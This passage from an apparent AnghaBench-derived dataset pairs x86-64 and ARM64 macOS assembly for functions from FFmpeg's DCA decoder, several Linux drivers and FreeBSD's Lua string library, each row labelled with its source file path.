.p2align 4, 0x90
LBB0_39: ## in Loop: Header=BB0_35 Depth=1
incq %r14
movslq %eax, %rcx
cmpq %rcx, %r14
jge LBB0_40
LBB0_35: ## =>This Loop Header: Depth=1
## Child Loop BB0_37 Depth 2
testl %r12d, %r12d
jle LBB0_39
## %bb.36: ## in Loop: Header=BB0_35 Depth=1
movq 16(%rbx), %rax
movq 64(%rbx), %rcx
movq (%rcx,%r14,8), %rcx
movq (%rax,%rcx,8), %r15
movq -88(%rbp), %rax ## 8-byte Reload
movq 8(%rax), %rax
movq (%rax,%r14,8), %r13
xorl %ebx, %ebx
.p2align 4, 0x90
LBB0_37: ## Parent Loop BB0_35 Depth=1
## => This Inner Loop Header: Depth=2
movl (%r15,%rbx,4), %edi
callq _clip23
shll $8, %eax
movl %eax, (%r13,%rbx,4)
incq %rbx
cmpq %rbx, %r12
jne LBB0_37
## %bb.38: ## in Loop: Header=BB0_35 Depth=1
movq -72(%rbp), %rax ## 8-byte Reload
movl 4(%rax), %eax
movq -48(%rbp), %rbx ## 8-byte Reload
jmp LBB0_39
LBB0_40:
xorl %eax, %eax
LBB0_41:
addq $56, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_25:
cmpq $0, 112(%rbx)
setne %cl
movq 8(%rbx), %rax
movq _DCA_AMODE_MONO@GOTPCREL(%rip), %rdx
cmpq (%rdx), %rax
seta %dl
testb %dl, %cl
jne LBB0_27
## %bb.26:
movq _DCA_AMODE_STEREO_SUMDIFF@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_28
LBB0_27:
movq 16(%rbx), %rax
movq 96(%rbx), %rcx
movq _DCA_SPEAKER_L@GOTPCREL(%rip), %rdx
movq (%rdx), %rdx
movq (%rax,%rdx,8), %rdi
movq _DCA_SPEAKER_R@GOTPCREL(%rip), %rdx
movq (%rdx), %rdx
movq (%rax,%rdx,8), %rsi
movl %r12d, %edx
callq *(%rcx)
LBB0_28:
cmpq $0, 104(%rbx)
je LBB0_31
## %bb.29:
movq 8(%rbx), %rax
movq _DCA_AMODE_2F2R@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jb LBB0_31
## %bb.30:
movq 16(%rbx), %rax
movq 96(%rbx), %rcx
movq _DCA_SPEAKER_Ls@GOTPCREL(%rip), %rdx
movq (%rdx), %rdx
movq (%rax,%rdx,8), %rdi
movq _DCA_SPEAKER_Rs@GOTPCREL(%rip), %rdx
movq (%rdx), %rdx
movq (%rax,%rdx,8), %rsi
movl %r12d, %edx
callq *(%rcx)
jmp LBB0_31
LBB0_42:
movq _EINVAL@GOTPCREL(%rip), %rax
movl (%rax), %edi
addq $56, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
jmp _AVERROR ## TAILCALL
.cfi_endproc
## -- End function
.comm _DCA_PACKET_XLL,4,2 ## @DCA_PACKET_XLL
.comm _AV_SAMPLE_FMT_S32P,4,2 ## @AV_SAMPLE_FMT_S32P
.comm _DCA_CSS_XCH,4,2 ## @DCA_CSS_XCH
.comm _DCA_AMODE_2F2R,8,3 ## @DCA_AMODE_2F2R
.comm _DCA_SPEAKER_Ls,8,3 ## @DCA_SPEAKER_Ls
.comm _DCA_SPEAKER_Rs,8,3 ## @DCA_SPEAKER_Rs
.comm _DCA_SPEAKER_Cs,8,3 ## @DCA_SPEAKER_Cs
.comm _DCA_CSS_XXCH,4,2 ## @DCA_CSS_XXCH
.comm _DCA_EXSS_XXCH,4,2 ## @DCA_EXSS_XXCH
.comm _ff_dca_channels,8,3 ## @ff_dca_channels
.comm _DCA_XXCH_CHANNELS_MAX,4,2 ## @DCA_XXCH_CHANNELS_MAX
.comm _EINVAL,4,2 ## @EINVAL
.comm _DCA_AMODE_MONO,8,3 ## @DCA_AMODE_MONO
.comm _DCA_AMODE_STEREO_SUMDIFF,8,3 ## @DCA_AMODE_STEREO_SUMDIFF
.comm _DCA_SPEAKER_L,8,3 ## @DCA_SPEAKER_L
.comm _DCA_SPEAKER_R,8,3 ## @DCA_SPEAKER_R
.no_dead_strip _filter_frame_fixed
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function filter_frame_fixed
_filter_frame_fixed: ; @filter_frame_fixed
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x28, x27, [sp, #16] ; 16-byte Folded Spill
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x1
mov x20, x0
ldr x21, [x0, #144]
ldr x8, [x21, #16]
ldr w8, [x8]
Lloh0:
adrp x9, _DCA_PACKET_XLL@GOTPAGE
Lloh1:
ldr x9, [x9, _DCA_PACKET_XLL@GOTPAGEOFF]
Lloh2:
ldr w9, [x9]
tst w9, w8
b.ne LBB0_2
; %bb.1:
mov x0, x20
mov w1, #0
bl _ff_dca_core_filter_fixed
tbnz w0, #31, LBB0_35
LBB0_2:
ldr w8, [x20, #136]
Lloh3:
adrp x9, _AV_SAMPLE_FMT_S32P@GOTPAGE
Lloh4:
ldr x9, [x9, _AV_SAMPLE_FMT_S32P@GOTPAGEOFF]
Lloh5:
ldr w9, [x9]
stp w9, w8, [x21, #8]
mov w8, #24
str w8, [x21]
ldr w22, [x20]
str w22, [x19]
mov x0, x21
mov x1, x19
mov w2, #0
bl _ff_get_buffer
tbnz w0, #31, LBB0_35
; %bb.3:
ldr x8, [x20, #128]
Lloh6:
adrp x9, _DCA_CSS_XCH@GOTPAGE
Lloh7:
ldr x9, [x9, _DCA_CSS_XCH@GOTPAGEOFF]
cbz x8, LBB0_7
; %bb.4:
ldr w8, [x20, #4]
ldr w9, [x9]
tst w9, w8
b.eq LBB0_7
; %bb.5:
ldr x8, [x20, #8]
Lloh8:
adrp x9, _DCA_AMODE_2F2R@GOTPAGE
Lloh9:
ldr x9, [x9, _DCA_AMODE_2F2R@GOTPAGEOFF]
Lloh10:
ldr x9, [x9]
cmp x8, x9
b.lo LBB0_7
; %bb.6:
ldr x8, [x20, #16]
Lloh11:
adrp x9, _DCA_SPEAKER_Ls@GOTPAGE
Lloh12:
ldr x9, [x9, _DCA_SPEAKER_Ls@GOTPAGEOFF]
Lloh13:
ldr x9, [x9]
ldr x0, [x8, x9, lsl #3]
ldr x9, [x20, #80]
Lloh14:
adrp x10, _DCA_SPEAKER_Rs@GOTPAGE
Lloh15:
ldr x10, [x10, _DCA_SPEAKER_Rs@GOTPAGEOFF]
Lloh16:
ldr x10, [x10]
ldr x1, [x8, x10, lsl #3]
ldr x9, [x9, #16]
Lloh17:
adrp x10, _DCA_SPEAKER_Cs@GOTPAGE
Lloh18:
ldr x10, [x10, _DCA_SPEAKER_Cs@GOTPAGEOFF]
Lloh19:
ldr x10, [x10]
ldr x2, [x8, x10, lsl #3]
mov x3, x22
blr x9
LBB0_7:
ldr w8, [x20, #4]
Lloh20:
adrp x9, _DCA_CSS_XXCH@GOTPAGE
Lloh21:
ldr x9, [x9, _DCA_CSS_XXCH@GOTPAGEOFF]
Lloh22:
ldr w9, [x9]
Lloh23:
adrp x10, _DCA_EXSS_XXCH@GOTPAGE
Lloh24:
ldr x10, [x10, _DCA_EXSS_XXCH@GOTPAGEOFF]
Lloh25:
ldr w10, [x10]
orr w9, w10, w9
tst w9, w8
b.eq LBB0_24
; %bb.8:
ldr x8, [x20, #120]
cbz x8, LBB0_24
; %bb.9:
ldr w23, [x20, #24]
Lloh26:
adrp x8, _ff_dca_channels@GOTPAGE
Lloh27:
ldr x8, [x8, _ff_dca_channels@GOTPAGEOFF]
ldr x28, [x20, #32]
Lloh28:
ldr x8, [x8]
ldr x9, [x20, #8]
ldrsw x10, [x8, x9, lsl #2]
ldr w8, [x20, #40]
Lloh29:
adrp x9, _DCA_XXCH_CHANNELS_MAX@GOTPAGE
Lloh30:
ldr x9, [x9, _DCA_XXCH_CHANNELS_MAX@GOTPAGEOFF]
Lloh31:
ldr w9, [x9]
str x10, [sp, #8] ; 8-byte Folded Spill
sub w8, w8, w10
cmp w8, w9
cset w0, le
bl _av_assert1
ldr w8, [x20, #44]
cmp w8, #1
b.lt LBB0_14
; %bb.10:
mov x24, #0
b LBB0_12
LBB0_11: ; in Loop: Header=BB0_12 Depth=1
add x24, x24, #1
cmp x24, w8, sxtw
b.ge LBB0_14
LBB0_12: ; =>This Inner Loop Header: Depth=1
ldr w9, [x20, #48]
lsr w9, w9, w24
tbz w9, #0, LBB0_11
; %bb.13: ; in Loop: Header=BB0_12 Depth=1
ldr x8, [x20, #80]
ldr x8, [x8, #8]
ldr x9, [x20, #16]
ldr x0, [x9, x24, lsl #3]
mov x1, x23
mov x2, x22
blr x8
ldr w8, [x20, #44]
b LBB0_11
LBB0_14:
ldr w8, [x20, #40]
ldr x9, [sp, #8] ; 8-byte Folded Reload
cmp w9, w8
b.ge LBB0_24
; %bb.15:
ldr x24, [sp, #8] ; 8-byte Folded Reload
b LBB0_17
LBB0_16: ; in Loop: Header=BB0_17 Depth=1
add x24, x24, #1
ldrsw x8, [x20, #40]
cmp x24, x8
b.ge LBB0_24
LBB0_17: ; =>This Loop Header: Depth=1
; Child Loop BB0_21 Depth 2
mov x0, x20
mov x1, x24
bl _map_prm_ch_to_spkr
tbnz w0, #31, LBB0_41
; %bb.18: ; in Loop: Header=BB0_17 Depth=1
ldr w8, [x20, #44]
cmp w8, #1
b.lt LBB0_16
; %bb.19: ; in Loop: Header=BB0_17 Depth=1
mov x26, #0
ldr x8, [sp, #8] ; 8-byte Folded Reload
sub x27, x24, x8
mov w25, w0
b LBB0_21
LBB0_20: ; in Loop: Header=BB0_21 Depth=2
add x26, x26, #1
ldrsw x8, [x20, #44]
cmp x26, x8
b.ge LBB0_16
LBB0_21: ; Parent Loop BB0_17 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [x20, #56]
ldr w8, [x8, x27, lsl #2]
lsr w8, w8, w26
tbz w8, #0, LBB0_20
; %bb.22: ; in Loop: Header=BB0_21 Depth=2
ldr w0, [x28], #4
mov x1, x23
bl _mul16
cbz w0, LBB0_20
; %bb.23: ; in Loop: Header=BB0_21 Depth=2
mov x2, x0
ldr x8, [x20, #80]
ldr x8, [x8]
ldr x9, [x20, #16]
ldr x0, [x9, x26, lsl #3]
ldr x1, [x9, x25, lsl #3]
mov x3, x22
blr x8
b LBB0_20
LBB0_24:
ldr w8, [x20, #4]
Lloh32:
adrp x9, _DCA_CSS_XXCH@GOTPAGE
Lloh33:
ldr x9, [x9, _DCA_CSS_XXCH@GOTPAGEOFF]
Lloh34:
ldr w9, [x9]
Lloh35:
adrp x10, _DCA_CSS_XCH@GOTPAGE
Lloh36:
ldr x10, [x10, _DCA_CSS_XCH@GOTPAGEOFF]
Lloh37:
ldr w10, [x10]
orr w9, w10, w9
Lloh38:
adrp x10, _DCA_EXSS_XXCH@GOTPAGE
Lloh39:
ldr x10, [x10, _DCA_EXSS_XXCH@GOTPAGEOFF]
Lloh40:
ldr w10, [x10]
orr w9, w9, w10
tst w9, w8
b.eq LBB0_36
LBB0_25:
ldr w8, [x20, #88]
ldr w4, [x20, #72]
cmp w8, w4
b.eq LBB0_27
; %bb.26:
ldr x0, [x20, #80]
ldr x1, [x20, #16]
ldr w2, [x20, #76]
mov x3, x22
bl _ff_dca_downmix_to_stereo_fixed
LBB0_27:
ldr w8, [x21, #4]
cmp w8, #1
b.lt LBB0_34
; %bb.28:
mov x23, #0
b LBB0_30
LBB0_29: ; in Loop: Header=BB0_30 Depth=1
add x23, x23, #1
cmp x23, w8, sxtw
b.ge LBB0_34
LBB0_30: ; =>This Loop Header: Depth=1
; Child Loop BB0_32 Depth 2
cmp w22, #1
b.lt LBB0_29
; %bb.31: ; in Loop: Header=BB0_30 Depth=1
ldr x8, [x20, #16]
ldr x9, [x20, #64]
lsl x10, x23, #3
ldr x9, [x9, x10]
ldr x24, [x8, x9, lsl #3]
ldr x8, [x19, #8]
ldr x25, [x8, x10]
mov x26, x22
LBB0_32: ; Parent Loop BB0_30 Depth=1
; => This Inner Loop Header: Depth=2
ldr w0, [x24], #4
bl _clip23
lsl w8, w0, #8
str w8, [x25], #4
subs x26, x26, #1
b.ne LBB0_32
; %bb.33: ; in Loop: Header=BB0_30 Depth=1
ldr w8, [x21, #4]
b LBB0_29
LBB0_34:
mov w0, #0
LBB0_35:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
ret
LBB0_36:
ldr x8, [x20, #112]
ldr x9, [x20, #8]
Lloh41:
adrp x10, _DCA_AMODE_MONO@GOTPAGE
Lloh42:
ldr x10, [x10, _DCA_AMODE_MONO@GOTPAGEOFF]
Lloh43:
ldr x10, [x10]
cmp x9, x10
ccmp x8, #0, #4, hi
Lloh44:
adrp x8, _DCA_AMODE_STEREO_SUMDIFF@GOTPAGE
Lloh45:
ldr x8, [x8, _DCA_AMODE_STEREO_SUMDIFF@GOTPAGEOFF]
Lloh46:
ldr x8, [x8]
ccmp x9, x8, #4, eq
b.ne LBB0_38
; %bb.37:
ldr x8, [x20, #96]
ldr x9, [x20, #16]
Lloh47:
adrp x10, _DCA_SPEAKER_L@GOTPAGE
Lloh48:
ldr x10, [x10, _DCA_SPEAKER_L@GOTPAGEOFF]
Lloh49:
ldr x10, [x10]
ldr x0, [x9, x10, lsl #3]
ldr x8, [x8]
Lloh50:
adrp x10, _DCA_SPEAKER_R@GOTPAGE
Lloh51:
ldr x10, [x10, _DCA_SPEAKER_R@GOTPAGEOFF]
Lloh52:
ldr x10, [x10]
ldr x1, [x9, x10, lsl #3]
mov x2, x22
blr x8
LBB0_38:
ldr x8, [x20, #104]
cbz x8, LBB0_25
; %bb.39:
ldr x8, [x20, #8]
Lloh53:
adrp x9, _DCA_AMODE_2F2R@GOTPAGE
Lloh54:
ldr x9, [x9, _DCA_AMODE_2F2R@GOTPAGEOFF]
Lloh55:
ldr x9, [x9]
cmp x8, x9
b.lo LBB0_25
; %bb.40:
ldr x8, [x20, #96]
ldr x9, [x20, #16]
Lloh56:
adrp x10, _DCA_SPEAKER_Ls@GOTPAGE
Lloh57:
ldr x10, [x10, _DCA_SPEAKER_Ls@GOTPAGEOFF]
Lloh58:
ldr x10, [x10]
ldr x0, [x9, x10, lsl #3]
ldr x8, [x8]
Lloh59:
adrp x10, _DCA_SPEAKER_Rs@GOTPAGE
Lloh60:
ldr x10, [x10, _DCA_SPEAKER_Rs@GOTPAGEOFF]
Lloh61:
ldr x10, [x10]
ldr x1, [x9, x10, lsl #3]
mov x2, x22
blr x8
b LBB0_25
LBB0_41:
Lloh62:
adrp x8, _EINVAL@GOTPAGE
Lloh63:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh64:
ldr w0, [x8]
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
ldp x28, x27, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #112
b _AVERROR
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGot Lloh6, Lloh7
.loh AdrpLdrGotLdr Lloh8, Lloh9, Lloh10
.loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19
.loh AdrpLdrGotLdr Lloh14, Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh11, Lloh12, Lloh13
.loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22
.loh AdrpLdrGotLdr Lloh29, Lloh30, Lloh31
.loh AdrpLdrGotLdr Lloh26, Lloh27, Lloh28
.loh AdrpLdrGotLdr Lloh38, Lloh39, Lloh40
.loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37
.loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34
.loh AdrpLdrGotLdr Lloh44, Lloh45, Lloh46
.loh AdrpLdrGotLdr Lloh41, Lloh42, Lloh43
.loh AdrpLdrGotLdr Lloh50, Lloh51, Lloh52
.loh AdrpLdrGotLdr Lloh47, Lloh48, Lloh49
.loh AdrpLdrGotLdr Lloh53, Lloh54, Lloh55
.loh AdrpLdrGotLdr Lloh59, Lloh60, Lloh61
.loh AdrpLdrGotLdr Lloh56, Lloh57, Lloh58
.loh AdrpLdrGotLdr Lloh62, Lloh63, Lloh64
.cfi_endproc
; -- End function
.comm _DCA_PACKET_XLL,4,2 ; @DCA_PACKET_XLL
.comm _AV_SAMPLE_FMT_S32P,4,2 ; @AV_SAMPLE_FMT_S32P
.comm _DCA_CSS_XCH,4,2 ; @DCA_CSS_XCH
.comm _DCA_AMODE_2F2R,8,3 ; @DCA_AMODE_2F2R
.comm _DCA_SPEAKER_Ls,8,3 ; @DCA_SPEAKER_Ls
.comm _DCA_SPEAKER_Rs,8,3 ; @DCA_SPEAKER_Rs
.comm _DCA_SPEAKER_Cs,8,3 ; @DCA_SPEAKER_Cs
.comm _DCA_CSS_XXCH,4,2 ; @DCA_CSS_XXCH
.comm _DCA_EXSS_XXCH,4,2 ; @DCA_EXSS_XXCH
.comm _ff_dca_channels,8,3 ; @ff_dca_channels
.comm _DCA_XXCH_CHANNELS_MAX,4,2 ; @DCA_XXCH_CHANNELS_MAX
.comm _EINVAL,4,2 ; @EINVAL
.comm _DCA_AMODE_MONO,8,3 ; @DCA_AMODE_MONO
.comm _DCA_AMODE_STEREO_SUMDIFF,8,3 ; @DCA_AMODE_STEREO_SUMDIFF
.comm _DCA_SPEAKER_L,8,3 ; @DCA_SPEAKER_L
.comm _DCA_SPEAKER_R,8,3 ; @DCA_SPEAKER_R
.no_dead_strip _filter_frame_fixed
.subsections_via_symbols
| AnghaBench/FFmpeg/libavcodec/extr_dca_core.c_filter_frame_fixed.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function cs4349_digital_mute
_cs4349_digital_mute: ## @cs4349_digital_mute
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %esi, %ecx
movq (%rdi), %rdi
testl %esi, %esi
movq _MUTE_AB_MASK@GOTPCREL(%rip), %rax
movl (%rax), %edx
cmovnel %edx, %ecx
movq _CS4349_MUTE@GOTPCREL(%rip), %rax
movl (%rax), %esi
popq %rbp
jmp _snd_soc_component_update_bits ## TAILCALL
.cfi_endproc
## -- End function
.comm _MUTE_AB_MASK,4,2 ## @MUTE_AB_MASK
.comm _CS4349_MUTE,4,2 ## @CS4349_MUTE
.no_dead_strip _cs4349_digital_mute
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function cs4349_digital_mute
_cs4349_digital_mute: ; @cs4349_digital_mute
.cfi_startproc
; %bb.0:
ldr x0, [x0]
Lloh0:
adrp x8, _MUTE_AB_MASK@GOTPAGE
Lloh1:
ldr x8, [x8, _MUTE_AB_MASK@GOTPAGEOFF]
Lloh2:
ldr w2, [x8]
Lloh3:
adrp x8, _CS4349_MUTE@GOTPAGE
Lloh4:
ldr x8, [x8, _CS4349_MUTE@GOTPAGEOFF]
cmp w1, #0
csel w3, wzr, w2, eq
Lloh5:
ldr w1, [x8]
b _snd_soc_component_update_bits
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _MUTE_AB_MASK,4,2 ; @MUTE_AB_MASK
.comm _CS4349_MUTE,4,2 ; @CS4349_MUTE
.no_dead_strip _cs4349_digital_mute
.subsections_via_symbols
| AnghaBench/linux/sound/soc/codecs/extr_cs4349.c_cs4349_digital_mute.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _trinity_dpm_get_current_mclk ## -- Begin function trinity_dpm_get_current_mclk
.p2align 4, 0x90
_trinity_dpm_get_current_mclk: ## @trinity_dpm_get_current_mclk
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
callq _trinity_get_pi
movl (%rax), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _trinity_dpm_get_current_mclk ; -- Begin function trinity_dpm_get_current_mclk
.p2align 2
_trinity_dpm_get_current_mclk: ; @trinity_dpm_get_current_mclk
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
bl _trinity_get_pi
ldr w0, [x0]
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/drm/radeon/extr_trinity_dpm.c_trinity_dpm_get_current_mclk.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _intel_tc_port_connected ## -- Begin function intel_tc_port_connected
.p2align 4, 0x90
_intel_tc_port_connected: ## @intel_tc_port_connected
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %r15
callq _intel_tc_port_lock
movq %r15, %rdi
callq _tc_port_live_status_mask
movl %eax, %r14d
movl (%r15), %edi
callq _BIT
movl %eax, %ebx
andl %r14d, %ebx
movq %r15, %rdi
callq _intel_tc_port_unlock
movl %ebx, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _intel_tc_port_connected ; -- Begin function intel_tc_port_connected
.p2align 2
_intel_tc_port_connected: ; @intel_tc_port_connected
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _intel_tc_port_lock
mov x0, x19
bl _tc_port_live_status_mask
mov x20, x0
ldr w0, [x19]
bl _BIT
and w20, w0, w20
mov x0, x19
bl _intel_tc_port_unlock
mov x0, x20
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/drm/i915/display/extr_intel_tc.c_intel_tc_port_connected.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function end_capture
_end_capture: ## @end_capture
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r14
movq %rsi, %r15
movq %rdi, %r12
callq _capture_to_close
movq (%r12), %rcx
movslq %eax, %rbx
shlq $4, %rbx
movslq 8(%rcx,%rbx), %rax
movq %r15, %rdx
subq %rax, %rdx
movq %rdx, (%rcx,%rbx)
movq %r12, %rdi
movq %r15, %rsi
movq %r14, %rdx
callq _match
testq %rax, %rax
jne LBB0_2
## %bb.1:
movq _CAP_UNFINISHED@GOTPCREL(%rip), %rcx
movq (%rcx), %rcx
movq (%r12), %rdx
movq %rcx, (%rdx,%rbx)
LBB0_2:
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _CAP_UNFINISHED,8,3 ## @CAP_UNFINISHED
.no_dead_strip _end_capture
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function end_capture
_end_capture: ; @end_capture
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x21, x2
mov x22, x1
mov x19, x0
bl _capture_to_close
mov x20, x0
ldr x8, [x19]
add x8, x8, w0, sxtw #4
ldrsw x9, [x8, #8]
sub x9, x22, x9
str x9, [x8]
mov x0, x19
mov x1, x22
mov x2, x21
bl _match
cbnz x0, LBB0_2
; %bb.1:
Lloh0:
adrp x8, _CAP_UNFINISHED@GOTPAGE
Lloh1:
ldr x8, [x8, _CAP_UNFINISHED@GOTPAGEOFF]
sxtw x9, w20
Lloh2:
ldr x8, [x8]
ldr x10, [x19]
lsl x9, x9, #4
str x8, [x10, x9]
LBB0_2:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _CAP_UNFINISHED,8,3 ; @CAP_UNFINISHED
.no_dead_strip _end_capture
.subsections_via_symbols
| AnghaBench/freebsd/sys/cddl/contrib/opensolaris/uts/common/fs/zfs/lua/extr_lstrlib.c_end_capture.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ath10k_mac_monitor_vdev_is_needed
_ath10k_mac_monitor_vdev_is_needed: ## @ath10k_mac_monitor_vdev_is_needed
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %rbx
callq _ath10k_mac_num_chanctxs
xorl %r14d, %r14d
testl %eax, %eax
je LBB0_6
## %bb.1:
cmpq $0, 24(%rbx)
jne LBB0_6
## %bb.2:
movl $1, %r14d
cmpq $0, 16(%rbx)
jne LBB0_6
## %bb.3:
movq _ATH10K_FW_FEATURE_ALLOWS_MESH_BCAST@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq 8(%rbx), %rax
movq (%rax), %rsi
callq _test_bit
testq %rax, %rax
jne LBB0_5
## %bb.4:
movq _FIF_OTHER_BSS@GOTPCREL(%rip), %rax
movl (%rax), %eax
testl %eax, (%rbx)
jne LBB0_6
LBB0_5:
movq _ATH10K_CAC_RUNNING@GOTPCREL(%rip), %rax
movl (%rax), %edi
addq $4, %rbx
movq %rbx, %rsi
callq _test_bit
xorl %r14d, %r14d
testq %rax, %rax
setne %r14b
LBB0_6:
movl %r14d, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _ATH10K_FW_FEATURE_ALLOWS_MESH_BCAST,4,2 ## @ATH10K_FW_FEATURE_ALLOWS_MESH_BCAST
.comm _FIF_OTHER_BSS,4,2 ## @FIF_OTHER_BSS
.comm _ATH10K_CAC_RUNNING,4,2 ## @ATH10K_CAC_RUNNING
.no_dead_strip _ath10k_mac_monitor_vdev_is_needed
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ath10k_mac_monitor_vdev_is_needed
_ath10k_mac_monitor_vdev_is_needed: ; @ath10k_mac_monitor_vdev_is_needed
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
